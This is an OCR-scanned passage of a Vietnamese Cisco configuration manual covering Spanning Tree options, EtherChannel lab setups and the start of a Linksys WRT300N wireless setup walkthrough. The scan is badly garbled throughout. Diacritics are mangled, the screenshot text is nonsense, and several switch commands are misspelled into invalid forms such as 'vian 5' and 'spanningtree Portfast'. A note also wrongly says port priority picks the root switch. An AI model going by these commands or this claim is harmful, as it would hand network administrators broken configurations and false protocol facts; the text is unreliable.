dung dé€ gan gid tri hello-delay vdéi
khoang thgi gian dugc phép dao dong la
tir 1 dén 10 gidy. Mac dinh la 2 giay.

Switch(config)#spanning-tree vian 5

root secondary

Switch sé thuc hién tinh toan lai cac
tham s& thdi gian v&i gid tri priority dé
cho phép switch trd thanh root switch
cho VLAN 5 khi ma root switch cia VLAN
5 bi 16i.

* Chu y: Néu tat ca cac switch khac déu
c6 kha ndng hd trg System ID md rong,
thi switch dé sé khdi tao lai gia tri priority

la 28672. Vi vay, néu root switch bj 15i,
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va cac switch khac dugc gan gid tri
priority mac dinh la 32768, thi switch dé
sé trd thanh root switch mdi. DGi vGi
nhifng switch ma khéng cé kha nang hd
trg System ID mg thi

priority sé& thay d6i thanh gia tri 16384.

rong, switch

Switch(config)#spanning-tree vian
5 root secondary diameter 7

Cau hinh switch trg thanh root switch du
phong cho VLAN 5 va dong thgi gan gia
tri diameter la 7.

Switch(config)#spanning-tree vian 5
root secondary hello-time 4

Cau hinh switch la root switch du phong
cho VLAN 5 va dong thgGi gan gia tri cua
tham sé thdi gian hello-delay la 4 giay.

3. C4u hinh Port Priority

Switch(config) #interface
gigabitethernet 0/1

Chuyén cdu hinh vao ché& dd inteface
gio/1

Switch(config-if)#spanning-tree port-

priority 64

Cau hinh port priority cho interface nay

dang hoat dong & ché d6 access.

Switch(config-if)#spanning-tree vian 5
port-priority 64

Cau hinh VLAN port priority cho moét
interface dang hoat dong & ché d6 trunk.

* Cha y: Port priority dugc si dung dé
xac dinh root switch khi ma hai switch cé
cung giad tri priority. Gia tri port priority
s& nam trong khoang tir 0 dén 255. Theo
mac dinh thi giad tri cua port priority la
128.

4, Cau hinh Path Cost

Switch(config) #interface
gigabitethernet 0/1

Chuyé&n cdu hinh vao ché& dd Interface
gio/1

Switch(config-if)#spanning-tree  cost

100000

Céu hinh gia tri Cost cho interface dang

hoat dong & ché d6 access

Switch(config-if)#spanning-tree vian 5
cost 1000000

Cau hinh Gia tri Cost ciia VLAN cho mot
interface dang hoat dong & ché d6 Trunk.

* Chu y: Néu mot vong lap xudt hién, thi
STP s& s dung path cost dé€ xac dinh
interface nao sé hoat déng & trang thai
forwarding state. Vi mot path cost cao
thi t6c d6 truyén sé thap. Gia tri cost co
thé tr 1 dén

nam trong khoang
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200000000. Theo mac dinh thi path cost
sé dugc tinh dua trén téc d6 cua dudng

truyén.

5. Cau hinh Switch Priority cia moét VLAN
Switch(config)# spanning-tree vlan 5 | Cdu hinh gia tri switch priority clia VLAN
priority 12288 51a 12288

* Chay:

- V@i tir khéa priority, thi gia tri ndm trong dai tir 0 dén 61440 cb thé tdng thém 4096. Gia
tri mac dinh la 32768. Switch nao c6 gia tri priority thdp nhat thi switch dé sé dudc lua
chon lam root switch.

- Nhitng gia tri ndm trong bang sau cé thé dudc s dung nhu nhirng gia tri priority:

0 4096 8192 12288
16384 20480 24576 28672
32768 36864 40960 45056
49152 53248 57344 61440

* Chu y: Cisco khuyén ban khong nén st dung cau Iénh nay. Cisco khuyén ban nén sir dung
cau lénh: spanning-tree vlan x root primary hodc cau |énh: spanning-tree vlan x root

secondary thay vi phai thay ddi gia tri priority cla switch.

6. Cdu hinh cac tham s6 thdi gian cta STP

Switch(config)#spanning-tree vlan 5 | Thay dGi thdi gian hello-delay cho VLAN 5
hello-time 4 la 4 giay

Thay ddi thdi gian forward-delay cho
VLAN 5 la 20 giay

Switch(config)#spanning-tree vian 5

forward-time 20

Thay déi thdi gian maximum-aging cho
VLAN 5 la 25 giay.

Switch(config)#spanning-tree vian 5

max-age 25

* Chuy:

- V@i cau Iénh: hello-time, thi tham s th&i gian s& dugc cdu hinh ndm trong dai tur 1 dén
10 gidy. Theo mac dinh thi tham s6 nay la 2 giay.

- V@i cau lénh: forward-time, thi tham s6 thdi gian trong cau Iénh nay sé dugc cdu hinh tur
4 dén 30 gidy. Theo mac dinh thi tham sé thdi gian nay dugc gan la 15 giay.

- V@i cau lénh max-age, thi tham sé thgi gian trong cau lIénh nay dugc phép cdu hinh tir 6

dén 40 giay. Theo mac dinh thi gia tri nay la 20 giay.

7. Kiém tra STP

Switch#show spanning-tree Hién thi thdng tin STP

Switch#show spanning-tree active Hién thi thdng tin STP duy nhét trén céc
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interface dang hoat dong.

Switch#show spanning-tree brief

Hién thi trang thai cta STP

Switch#show spanning-tree detail

Hién thi thdng tin chi tiét cua interface

Switch#show spanning-tree interface
gigabitethernet 0/1

Hién thj thdng tin STP cho interface gi0/1

Switch#show spanning-tree summary

Hién thi trang thai téng quan cua mot

port

Switch#show spanning-tree summary

Totals

Hién thj téng s6 dong cla cac phién STP

Switch#show spanning-tree vlan 5

Hién thi thdng tin STP cho VLAN 5

8. Cac cau |énh tuy chon dé& ciu hinh STP

- M3c du cac cau Iénh khdng bat budc phai s’ dung cho quéd trinh hoat déng cta STP,

nhung ban cling nén tim hiéu vé tinh ndng cla nhitng cdu l1énh nay dé trién khai STP cho hé

théng mang hoat dong tét hon.

8.a. PortFast

Switch(config) #interface
fastethernet 0/10

Chuyén ciu hinh vao ché& dé interface
fa0/10

Switch(config-if)#spanningtree
Portfast

Bat tinh nang PortFast trén mot access

port.

Switch(config-if) #spanningtree

portfast trunk

Bat tinh nang PortFast trén mot port
Trunk.

* Cha y: S dung cau lénh portfast duy
nhat khi két nGi port dé véi mét PC va
port d6 c6 thé hoat déng & ché& dd access
hodc trunk. NEéu ban s dung cau lénh
nay trén cac port dugc dung dé€ két ndi
dén switch hodac hub khac thi sé Ia
nguyén nhan dan dén switch khong co

kha nang xac nhan dugc lap xay ra.

* Cha y: Néu ban enable tinh nang voice
VLAN, thi PortFast sé& dudc enable mac
dinh. Né&u ban tat tinh ndng voice VLAN,
thi PortFast van s& dudc enable.

Switch#show spanning-tree
interface fastethernet 0/10

portfast

Hién thi théng tin vé& PortFast trén
interface fa0/0
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8.b. BPDU Guard

Switch(config) #spanning-tree Bat tinh nang BPDU Guard & ché do

portfast bpduguard default Globally

Switch(config)#interface Chuyén vao ché& dbé cadu hinh cua cac

range fastethernet 0/1 -5 interface fa0/1 - 5

Switch(config-ifrange) # Bat tinh nang Port Fast trén tdt ca cac

spanning-tree portfast interface fa0/1, Fa0/2, Fa0/3, Fa0/4,
Fa0/5
* Chu y: Theo mac dinh, BPDU Guard sé
bi disable

Switch(config) #errdisable Cho phép port sé tu déng hoat dong tré

recovery cause bpduguard lai néu nd bi 16i do nguyén nhan bai
BPDU Guard.

Switch(config) #errdisable C&u hinh thgi gian d€ phuc hdi lai trang

recovery interval 400 thdi hoat dong binh thudng cua interface
la 400 gidy. Theo mac dinh la 300 giay.
Khoang thdi gian nay cé thé ciu hinh tir
30 dén 86400 giay.

Switch#show spanning-tree Kiém tra vi tri ma BPDU Guard d3 dugc

summary totals enable hodc disable.

Switch#show errdisable Hién thi nhitng théng tin vé thdi gian ma

recovery interface da dugc phuc hoi tré vé trang
thai hoat dong binh thudng.

8.c. Thay ddi céc ché& dd hoat ddng cua Spanning-Tree

* Céac loai spanning tree khac nhau cé thé dudc cdu hinh trén Cisco Switch. Nhitng tuy chon
nay con phu thudc vao cadc dong sadn phdm switch khac nhau:

- Per-Vlan Spanning Tree (PVST): la mdt instance cla spanning tree cho mdi mot VLAN.
bay la giao thirc doc quyén cla cisco.

- Per-Vlan Spanning Tree Plus (PVST+): Ciing la mot giao thifc doc quyén cua Cisco. Cé kha
nang ma réng tét han giao thidc PVST.

- Rapid PVST+: day cling la mot ché do hoat dong gi6bng nhu PVST+ ngoai trir viéc giao
thdc nay st dung tdc dd hoi tu nhanh dua trén chudn 802.1w.

- Multiple Spanning Tree Protocol (MSTP): dudc dinh nghia thanh chudn IEEE 802.1s. Su
mé& rong cua thudt todn Rapid Spanning Tree (RST) dé& c6 thé& dung cho nhiéu spanning
tree. Nhiéu VLAN cé thé dugc dnh xa vao trong mét instance cia RST. Ban khéng thé chay
MSTP va PVST dong thdi cuing mot Idc.

Switch(config)#spanning-tree mode Bat giao thdc MSTP hoat doéng trén
Mst switch. Cau lénh nay chi c6 kha nang
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thuc hién trén cac switch dang chay phan

mém hé diéu hanh loai EI.

Switch(config)#spanning-tree mode Bat giao thic PVST. Giao thic nay chay
Pvst mac dinh trén cac switch cla cisco.
Switch(config)#spanning-tree mode Bat giao thic Rapid PVST+ hoat dong
rapid-pvst trén switch.

8.d. binh danh hé théng ma réng (Extended System ID)

Switch(config)#spanningtree extend | Bat tinh nang Dinh danh hé théng mdé
system-id rong.

* Chu y: V@i cac switch chay nhiing
phién ban cli hon phién ban Cisco I0S
Software Release 12.1 (8) EAL thi khong
cé kha ndng hd trg tinh ndng dinh danh
hé théng ma rong.

Switch#show spanning-tree Summary | Kiém tra tinh ndng Dinh danh hé théng

md rong da dugc bat hay chua.

Switch#show running-config Hién thi file cdu hinh dang chay trén RAM

8.e. Cau hinh giao thic Rapid Spanning Tree (RSTP)

Switch(config)#spanning-tree mode Bat giao thic Rapid PVST+ hoat dong

rapid-pvst trén switch.

Switch(config) #interface fastethernet | Chuyén vao ché d& cdu hinh cla
0/1 interface fa0/1.
Switch(config-if)#spannisng-tree link- | Cdu hinh interface fa0/1 hoat dong dudi

type point-to-point dang lién két point-to-point
Switch(config-if) #exit

Switch(config)#clear spanningtree

detected-protocols

9. X(r ly su c6 cua STP

Switch#debug spanning-tree all Hién thi tdt ca cac su kién cla spanning

tree

Switch#debug spanning-tree events Hién thi nhitng su kién cé lién quan dén

topology cla spanning tree

Switch#debug spanning-tree Hién thi nhitng su kién cé lién quan dén
Backbonefast backbonefast clia spanning tree
Switch#debug spanning-tree Hién thi nhitng su kién cé lién quan dén
Uplinkfast Uplinkfast cia spanning tree

Switch#debug spanning-tree mstp all | Hién thj t&t ca céc su kién cla giao thic
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MSTP

Switch#debug spanning-tree switch Hién thi nhitng thay d&i vé trang thai cla

State cac port spanning-tree

Switch#debug spanning-tree pvst+ Hién thj cac su kién cua giao thic PVST+

10. Vi du cau hinh STP

- Hinh 11-1 13 s6 d® mang dudc si dung dé& ciu hinh STP, nhifng cdu lénh dugc st dung

trong phén vi du cdu hinh STP sé& chi nam trong pham vi cia chudng nay.

Hinh 11-1

VTP
Domain
stpdemo

_mll1
18D
Core (2260)
-© VLAN 1 Root Primary g‘fgg ]
”’(:13 VTP Server Ly ;

: fail

o B — -
—0Qe-——— 4-

VLAN 10 - Forwarding VLAN 10 - Blocking

Core Switch (2960)

Switch>enable Chuyén c4u hih vao ché dd Privileged

Switch#configure terminal Chuyén cdu hinh vao ch& dd Global

Configuration

Switch(config)#hostname Core bat tén cho switch la Core

Core(config)#no ip domainlookup Tat tinh néng tu ddng phéan giai cau Iénh
khi ngudgi dung nhép sai.

Core(config)#vtp mode server Thay d8i ché& dd hoat déng cua switch
thanh ché do VTP Server. Ché do nay la
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Di

ché d6 mac dinh cua switch cua cisco.

Core(config) #vtp domain stpdemo

Cau hinh tén cta VTP domain la stpdemo

Core(config)#vlan 10

Tao vlan 10 va déng thdi chuyén ciu

hinh vao ché do Vlan configuration

Core(config-vlan)#name

Accounting

bat tén cho vlan 10 la Accounting

Core(config-vlan) #exit

Thoadt khéi ché d6 cdu hinh VLAN

configuration

Core(config)#vlan 20

Tao vlan 20 va déng thdi chuyén céu
hinh vao ché do VLAN Configuration.

Core(config-vlan)#name

Marketing

Dat tén cho vlan 20 la Marketing.

Core(config-vlan)#exit

Thodt khdi

configuration.

ché d6 cau hinh VLAN

Core(config)#spanning-tree

vian 1 root primary

Cau hinh switch trd thanh root switch cho
VLAN 1.

Core(config) #exit

Thodt khoi

Configuration.

ché& d6 cdu hinh Global

Core#copy running-config
startup-config

Luu file cau hinh dang chay trén RAM vao
NVRAM.

stribution 1 Switch (2960)

Switch>enable

Chuyén cau hinh vao ché& dd Privileged

Switch#configure terminal

Chuyén cdu hinh vao ch& dé Global

Configuration.

Switch(config)#hostname
Distribution1

Pat tén cho switch la Distribution1

Distribution1(config)#no ip

domain-lookup

Tat tinh nang tu dong phan giai cau Iénh
khi ngudi dung nhép sai.

Distribution1(config) #vtp domain
Stpdemo

hinh tén cla VTP domain Ila

stpdemo.

Cau

Distribution1(config) #vtp mode
Client

Thay d6i ché do hoat dong cua switch
thanh VTP client.

Distribution1(config) #spanningtree
vian 10 root primary

Cdu hinh switch nay sé trd thanh root

switch cua vlan 10.

Distribution1(config) #exit

Thoat khoi ché d6 cdu hinh Global

Configuration.

Distribution1#copy running-config

startup-config

Luu file cau hinh dang chay trén RAM vao
NVRAM.
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Distribution 2 Switch (2960)

Switch>enable

Chuyén céu hinh vao ché& dé Privileged

Switch#configure terminal

Chuyén cdu hinh vao ché ddé Global
Configuration.

Switch(config)#hostname
Distribution2

Pat tén cho switch la Distribution?2.

Distribution2(config)#no ip

domain-lookup

Tat tinh ndng tu déng phan giai cau lénh
khi ngugi dung nhép sai.

Distribution2(config) #vtp domain
Stpdemo

hinh tén cho VTP domain la

stpdemo.

Cau

Distribution2(config) #vtp mode
Client

Thay déi ch& d6 hoat ddng cua switch
thanh VTP client.

Distribution2(config) #spanningtree
vian 20 root primary

Cau hinh dé switch nay trd thanh root

switch cua vlan 20.

Distribution2(config) #exit

Thoat khdi ché dd cau hinh Global

configuration.

Distribution2#copy running-config
startup-config

Luu file cau hinh dang chay trén RAM vao
NVRAM.

I1I. EtherChannel

- EtherChannel sé cung cadp kha nang du phong, két ndi téc do cao han gilra cac switch, vdi
switch hodc v@i router hoac vd@i server. M6t EtherChannel cé ch&a nhiéu lién két Fast
Ethernet hodc Gigabit Ethernet vao trong mét lién két logical. NEu mot lién két nam trong
EtherChannel ma bj 16i, thi luu lugng dif liéu s& dugc thay ddi dé truyén trén nhimng lién két
con lai thudc EtherChannel do.

1. Cac ché d6 interface trong EtherChannel
Ché do Giao thuc MO ta
On

None Gan cac interface vao trong mot EtherChannel
ma khéng cé su hoat déng cla PagP hoac
LACP. Channel nay duy nhat ton tai néu két
néi truc ti€p v8i nhdm interface khac cling

hoat déng & ché d6 On.

Auto PagP Gan nhing interface nay hoat dong & trang
thadi passive negotiating: trang thdi nay sé tra
IGi cac gdéi tin PagP nhung sé khdi tao PagP

negotiation.

Desirable PagP Pua nhitng interface nay hoat dong & trang

thai active negotiating: trang thai nay sé gui

cac goi tin PagP dé€ khéi tao nhitng qud trinh
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negotiation.

Passive LACP bua nhitng interface nay hoat dong & trang
thai passive negotiating: trang thai nay tra IGi
cac goi tin LACP nhung sé khong khdi tao qua
trinh LACP negotiation.

Active LACP bPua nhitng interface nay hoat dong & trang
thadi active negotiating: trang thai nay sé gui
cadc gbi tin LACP d€ khéi tao qud trinh
negotiation.

2. Hudng dan c&u hinh EtherChannel
- Giao thuic PagP la mét giao thdc doc quyén cua cisco.
- LACP la giao thic dudc dinh nghia theo chuén 802.3ad.
- Ban c6 thé gop tir 2 dén 8 lién két vat ly lai thanh mét EtherChannel.
- T4t ca cac port sé phai giéng nhau vé nhirng tham sé sau:

+ T6c do va duplex.

+ Khong dugc phép nhom interface fast Ethernet va gigabit Ethernet vao mot nhém
EtherChannel.

+ Khéng thé& cling s dung PagP va LACP.

+ Cac port dudc nhdm vao trong mot EtherChannel sé phai cung hoat dong & trang
thai trunk hodac khong phai trang thai trunk.
- Tat ca cac lién két sé phai cung hoat dong & layer 2 hoac layer 3 khi dugc nhém vao trong
mot Channel Group.
- P& tao mét Channel hoat ddng vdi ché dd PagP, thi ban s& phai cdu hinh nhitng tham s&
can thiét sau trén 2 side:

+ Aut - Desirable

+ Desirable - Desirable
- D€ tao mét channel hoat ddng véi ch& dd LACP, thi ban s& phai cdu hinh nhitng tham s8
sau trén 2 side:

+ Active - Active

+ Active - Passive
- D& tao mot channel khéng s dung PagP hodc LACP, thi céc side s& phai cdu hinh & ché& dd
On - On.
- Khong dugc phép cau hinh mét GigaStack gigabit interface converter (GBIC) nhu moét
thanh phan cua EtherChannel.
- Néu moét interface da dudc cau hinh la mot Switched Port Analyzer (SPAN) destination
port sé khéng dudc phép ra nhap vao mét nhdom EtherChannel cho dén khi SPAN bj disable.
- Khéng dudc phép cdu hinh mot secure port nhu mét thanh vién ctia EtherChannel.
- Nhitng interface khdng thudc Native VLAN thi khdng thé dudc nhém vao mét
EtherChannel.
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- Khi s dung lién két trunk, ban phai dam bao rang cac lién két nay cung s dung mot

trong hai giao thirc dé la: ISL hoac dot1q.

3. C4u hinh Layer 2 EtherChannel

Switch(config)#interface range
fastethernet 0/1 - 4

Chuyén ciu hinh vao ch& dé interface
fa0/1 dén Fa0/4

Switch(config-if-
range)#channelprotocol
Pagp

Chi dinh giao thirc PagP la giao thuc sé
dudgc st dung cho Group Channel nay.

Hodc Switch(config-if-

range)#channelprotocol

Chi dinh giao thic LACP la giao thic sé
dudc sir dung cho Group Channel nay

Lacp

Switch(config-if-range) #channel-group
1 mode {desirable | auto | on
passive

| active }

Tao mot Channel Group la 1 va gan cac
interface fa0/1 - 04 tréd thanh thanh vién
cua Group Channel nay.

4. Kiém tra EtherChannel

Switch#show running-config

Hién thi file cdu hinh dang chay trén RAM

Switch#show running-config

Hién thi thdng tin cla interface fa0/12

interface fastethernet 0/12

Switch#show etherchannel

Hién thi tt ca cac thdng tin vé

Switch#show etherchannel 1

EtherChannel
Hién thi nhitng thdng tin vé port channel

port-channel

Switch#show etherchannel

Hién thi nhitng théng tin t6ng quat vé

Summary

Switch#show pagp neighbor

etherChannel

Hién thi thong tin vé PagP hang xém

Switch#clear pagp 1 counters

Xda nhitng théng tin vé PagP ciia Group

Switch#clear lacp 1 counters

channel 1

Xda nhitng théng tin vé LACP ciia Group

channel 1

5. Vi du cdu hinh: EtherChannel

- Hinh 11-2 1a s d6 mang dudc sir dung dé€ cdu hinh EtherChannel, nhitng cdu l1énh dugc sir

dung trong vi du nay sé& chi nam trong pham vi cta bai lab nay.
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Hinh 11-2

FEC FEC
IEEEB02.1q IEEE B02.1q
Trunk Trunk
ALSwitch1 (2960) Gore (2960) ALSwitch2 (2960)
R————— AN 180 gy 1206 o ——_
P ARy — fa0v4 P

ARERE o T e
faniz ! fal/& fa0/Az

Marketing

N 10 > VLAN20
1f5-8 fal/s 12

A0oi24 1724 6,?&3/
i

P

0.2/24 172416.20.2/24

Core (2960)

1

VLAN 10
fals-g L\

172.16.10.0°24 17

AR
17216.10.3/24 17

Switch>enable

Chuyén c&u hinh vao ché& dé Privileged

Switch#configure terminal

Chuyén cdu hinh vao ché& dé global

configuration

Switch(config)#hostname Core

Dat tén cho switch la Core

Core(config)#no ip domain-lookup

Tat tinh nang tu déng phan giai cau Iénh
khi ngudi dung nhap sai.

Core(config)#vtp mode server

Thay d&i vai trd cha switch hoat déng

trong mét VTP domain la vtp server

Core(config)#vtp domain testdomain

hinh tén cho VTP domain Ia

testdomain.

Cau

Core(config)#vlan 10

Tao vlan 10 va déng thdi chuyén ciu
hinh vao ché do vlan configuration.

Core(config-vlan)#name Accounting

Dat tén cho vlan 10 la Accounting.

Core(config-vlan)#exit

Thoat khdi ché dd cdu hinh VLAN

configuration.

Core(config)#vlan 20

Tao vlan 20 va déng thdi chuyén céu
hinh vao ché d6 VLAN configuration.

Core(config-vlan)#name Marketing

bat tén cho vlan 20 la marketing.

Core(config-vlan)#exit

Thoat khoi ché do cdu hinh VLAN
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configuraiton.

Core(config) #interface range
fastethernet 0/1 - 4

Chuyén cdu hinh vao ché dd interface
fa0/1 - 4

Core(config-if)#switchport trunk
encapsulation dotlq

C&du hinh giao thirc 802.1q sé dudgc su
dung d& déng goi dir liéu trén dudng

trunk.

Core(config-if) #switchport mode
Trunk

Cau hinh dai interface nay sé hoat dong
3 ché do trunk.

Core(config-if) #exit

Thoat khoi ché do cau hinh interface.

Core(config) #interface range
fastethernet 0/1 - 2

Chuyén cdu hinh vao ché dé interface.

Core(config-if)#channel-group 1

mode desirable

Tao moét Channel Group la 1 va dbng thdi
interface fa0/1 va fa0/2 trg

thanh thanh vién cda Channel

gan hai
Group

nay.

Core(config-if) #exit

Thoat khoi ché do cau hinh interface.

Core(config) #interface range
fastethernet 0/3 - 4

Chuyén c4u hinh vao ché& dé interface

Core(config-if)#channel-group 2
mode desirable

Tao moét Group Channel la 2 va dbng thdi
interface fa0/3 va fa0/4 trg

thanh thanh vién cua Group Channel

gan hai

nay.

Core(config-if) #exit

Thoat khoi ché do cau hinh interface

Core(config)#exit

Thoat khai

configuration

ché d6 cadu hinh global

Core#copy running-config

startupconfig

Luu file cdu hinh dang chay trén RAM va
NVRAM.

ALSwitch1 (2960)

Switch>enable

Chuyén céu hinh vao ché dé Privileged

Switch#configure terminal

Chuyén cdu hinh vao ch& dé Global

configuration.

Switch(config)#hostname ALSwitch1l

bat tén cho switch la ALSwitch1

ALSwitch1(config)#no ip domainlookup

Tat tinh ndng tu dong phan giai cau lénh
khi ngudgi dung nhap sai

ALSwitch1(config)#vtp mode client

Thay ddi vai trd hoat ddng cla switch

trong mét VTP domain la VTP client

ALSwitch1(config)#vtp domain
Testdomain

Pat tén cho VTP domain la testdomain.

ALSwitch1(config)#interface range

Chuyén cau hinh vao ché& dé interface.
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fastethernet 0/5 - 8

ALSwitch1(config-ifrange)#

switchport mode access

C&u hinh ché& do hoat dong cua cac port

nay la ché d6 access.

ALSwitch1(config-ifrange)#
switchport access vian 10

Gan cac port nay trd thanh thanh vién
cla VLAN 10

ALSwitch1(config-if-range)#exit

Thoat khodi ché do cdu hinh interface.

ALSwitch1(config)#interface range
fastethernet 0/9 - 12

Chuyén cdu hinh vao ché dé interface.

ALSwitch1(config-ifrange)#

switchport mode access

C&u hinh ché& do hoat dong cua cac port

la ché do access.

ALSwitch1(config-ifrange)#

switchport access vian 20

Gan cac port nay tré thanh thanh vién

cta vian 20

ALSwitch1(config-if-range)#exit

Thoat khoéi ché do cdu hinh interface.

ALSwitch1(config)#interface range
fastethernet 0/1 - 2

Chuyén c4u hinh vao ché& dé interface

ALSwitch1(config-ifrange)#

switchport mode trunk

Thay d8i ché d& hoat dbéng cua cac

interface hoat dong véi ché do trunk

ALSwitch1(config-ifrange)#
channel-group 1 mode

desirable

Tao Group channel la 1 va dong thdGi gan
cac port nay trd thanh thanh vién cua

group channel nay.

ALSwitch1(config-if-range)#exit

Thoat khoi ché do cdu hinh interface

ALSwitch1(config) #exit

Thoat khoi ché d6 cau hinh global

configuration.

ALSwitch1l#copy running-config
startup-config

Luu file cdu hinh dang chay trén RAM vao
NVRAM.

ALSwitch2 (2960)

Switch>enable

Chuyén c4u hinh vao ché& dé Privileged

Switch#configure terminal

Chuyén cdu hinh vao ché dé Global

configuration

Switch(config)#hostname ALSwitch2

Pat tén cho switch la ALSwitch2

ALSwitch2(config)#no ip domain-
lookup

Tat tinh ndng tu déng phan giai cau |énh
khi ngudi dung nhap sai

ALSwitch2(config)#vtp mode client

Thay doi vai tro hoat dong cua switch
trong mo6t VTP domain thanh VTP client

ALSwitch2(config)#vtp domain

Testdomain

Pat tén cho VTP domain la testdomain

ALSwitch2(config) #interface range
fastethernet 0/5 - 8

Chuyén vao ché do6 cau hinh interface




ALSwitch2(config-if-range)#switchport

mode access

Thay d6i ché dd hoat ddng clia cac port

thanh ché d6 access.

ALSwitch2(config-if-range)#switchport

access vian 10

Gan cac port trd thanh thanh vién cua

vlan 10.

ALSwitch2(config-if-range) #exit

Thoat khoi ché do cau hinh interface

ALSwitch2(config) #interface range
fastethernet 0/9 - 12

Chuyén vao ché& db c8u hinh interface

ALSwitch2(config-if-range)#switchport

mode access

Céu hinh ché& do hoat dong cua cac port

la ché d6 access.

ALSwitch2(config-if-range)#switchport
access vian 20

Gan cac port nay tré thanh thanh vién

cta vlan 20

ALSwitch2(config-if-range) #exit

Thoat khoi ché do cau hinh cua interface

ALSwitch2(config)#interface range
fastethernet 0/1 - 2

Chuyén vao ché dd cdu hinh cla

interface

ALSwitch2(config-if-range) #switchport

mode trunk

Thay d6i ché d6 hoat ddbng cua cac port
thanh ché do trunk.

ALSwitch2(config-if
range)#channelgroup 1 mode

desirable

Tao group channel la 1 va dong thGi gan
cac port fa0/1 va fa0/2 tréd thanh thanh

vién cua group channel nay.

ALSwitch2(config-if-range) #exit

Thoat khoi ché do cau hinh interface.

ALSwitch2(config) #exit

Thoat khdéi ché d6 cau hinh global

configuration.

ALSwitch2#copy running-config
startup-config

Luu file cau hinh dang chay trén RAM vao
NVRAM.
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Phan V: MO RONG MANG LAN
Chuong 12: Trién khai mang Wireless LAN

Chuong nay sé cung cap nhitng thong tin va cac cau Iénh co lién quan dén nhitng chu dé
sau:

- Cau hinh Wireless Access Point (AP): Linksys 300N AP.

- Cau hinh Wireless Client: Linksys Wireless-N Notebook adapter.

1. Cau hinh Wireless AP

* Cha y: thiét bi AP dudc s dung trong chudng nay la Linksys Wireless-N Broadband
Router. N&u ban s dung mot thiét bi AP khac, thi man hinh hién thi cé thé sé& khac.

- Diéu nay rat quan trong dé€ sir dung cho thdi gian cp nhét firmware hodc driver méi. Tinh
ndng nay chi ding ddi vdéi dong san pham 300N AP bdi vi cdng nghé 802.11n hién tai van
dang 1a ban du thao. Chinh vi vy, kiém tra thdi gian cdp nhét cla nha san xuét AP trén cac
website cia ho. Trong trudng hdp d6i vdi thiét bi cia hang Linksys, thi website d& cap nhéat

firware hodc driver la: http://www.linksys.com/download.

- Hinh 12-1 s& hién thi man hinh khdi tao cua qud trinh Setup Wizard, qud trinh nay sé&
dugc chay tu dong khi ban st dung dia CD cai dat dugc cung cap bdi AP. Chay Setup
Wizard trén may tinh trudc khi ban cdm cac loai cadp dén AP clia ban hodc modem.

- Hinh 12-2 s& hién thij license dugc chdp nhan cho thiét bi. Sau khi ban doc nhitng yé cau,
thi ban nhdn Next dé ti€p tuc hodc nhan chon Exit dé€ thodt khéi chuong trinh cai dat.

Hinh 12-1

LINKSYS'

A Division of Cisco Systems, Inc.

| hank you tor choosing Linksys.
Thi=z Setup Wizard will help you
install the Wireless-N
EBroadband Router.

2 4 GHz J

[iseo S¥sTEMS

Model No. WRT3I0D0M Copynght 2006 Cizoo Systeme, Inc. All Righte Resened
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http://www.linksys.com/download

Hinh 12-2

LINKSYS®

A Denzion of Ciseo Systeme, ine

Preas the PAGE DOWMN key oruse the Scroll Bar fo e the rest of the agreement

Linkeaya Bottwans Liconac Agcment v.8 15.02 -

T-I LICEMNSE AGREEMEN
IZENS h(. THIS SCIFTI."'-‘-
STALLING

T15 BETWEEN YO U AND CISCD-LINKSYTE. LLL OR THE CISCO-LINKEYS. LLC SUBSIDIARY
[FSALE 15 MOT DIRECLTY BY CISCO-LINKSYS. LLC{ Lirkas™). BY DOWNLOADING OR
SOrTWANC. YOU ANC COMSCHTING TO
E .EQ 1,_-. THEN YU MAY NOT
VARE DAL IF THE SUHIWABE
Lp TC 10 Eﬂ‘""

SE0 SUCT

-.-n 'C TG T i
‘(CI_I LF:"IIF\ MEDUCT 0N _A’_I'Tn*irl:
Lizerise. Subjecd to the berms and conditions of this Agreement. Linksys grarts the oniginal =nd ussr puchaser of the Linssys

i3 you acceptthe ferms ofthi= .-'l.Ere-emen:_ click Mext to canfinue . IF not, choose Cxit and the Setup ¥ zard

loge. You must click MNaxt 1o continue the installation process

H Broadband Rowter SempWirard Mode Mo WIRT 300N

- Hinh 12-3 s& hién thi mot trinh wizard dé& hdi ban rit ngudn t&r modem cda ban. Khi ban
két thac, thi ban c6 thé nhan chon Next.
Hinh 12-3

LINKSYS'

& Division of Cisco Systems, Inc.

Unplug the power o @

your modem.

" Broadband Router SeupWizard Modal Mo, WHTI0DOM
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- Hinh 12-4 s& hién thi mot wizard dé& héi ban rit modem tir may tinh cda ban. Khi ban két

thdc, ban co6 thé nhan chon Next.

Hinh 12-4

LINKSYS'

A Divigion of Cisoo Systems, Inc.

" Broadband

Digconnoct tho eablo
that connects your
modem Lo the

computer

Router

Model Mo. WRT3I00N

- Trong man hinh ké tiép, dugc hién thi & hinh 12-5 bén dudi, mét wizard xuét hién yéu cau

ban két n6i modem dén router.
Hinh 12-5

LINKSYS'

A Division of Cisco Systems, Inc.

Wall Jack
Modem

“ Broadband Router

Intermet Port

il

oy rm
2\ e

SetupWizard

Flug the cable from the modem
into the Houwter's Internet Port.
This is the same cable that you
hawe just disconnecl from your
PC.

Made! Mo, WIHT300N
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- O man hinh tiép theo, dugc hién thi trong hinh 12-6 thi mét wizard héi ban cé mudn cdm
nguon trd lai cho modem khong.
Hinh 12-6

LINKSYS'

A Dinigion of Clsen Sysbems, Inc,

[ 5

Outlet
£
FPlug in the power to ]
your modem. p O

“ Broadband Router Model No. WIHT 300N

- Trong cac hinh 12-7 va hinh 12-8, cac wizard s& héi ban d€ két ndi router dén mot may
tinh. D& cai dat ding thiét bi, ban s& phai dung mot sgi cap dé két néi. Sau khi ban két ndi
xong, ban cé thé ciu hinh thiét bi d& chdp nhan cac wireless client.

- VGi AP 300N thi s& c6 cac port R145 déu dugc danh ddu badng mau dé cho viéc s dung
dudc dé dang hon - port dugdc ding dé két ndi dén modem & mau xanh, va 4 port con lai
dugc sir dung dé két néi dén cac thiét bi la mau vang. Ban can phai kiém tra lai [an nita cac

thiét bi cia ban d&€ dam bao két ndi dliing vdi cac port.
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Hinh 12-7

LINKSYS

B Division of CECo Sys1ems, Inc

The Router comes with a blue netwark
cable. Plug one end of the network
cable into your PC's network port

Your PC's network port is the same
port that was previously connected to

the modem ) I s
M

etwork port

H Broadband Rouler SotupW zard Madal Mo, WRT300M

- Bay giG ban da cé mot két ndi tir Router Linksys dén may tinh clia ban va modem, ban
thuc hién viéc cdm ngudn dén router va gdn nd vao tudng, cac ban cé thé nhin thdy trong
hinh 12-9.
Hinh 12-8

LINKSYS'

& Division of Cisco Systems, nc

Wall Jack
Modem :

Plug the other end of the
nemwork cable into one of
the Router's ports

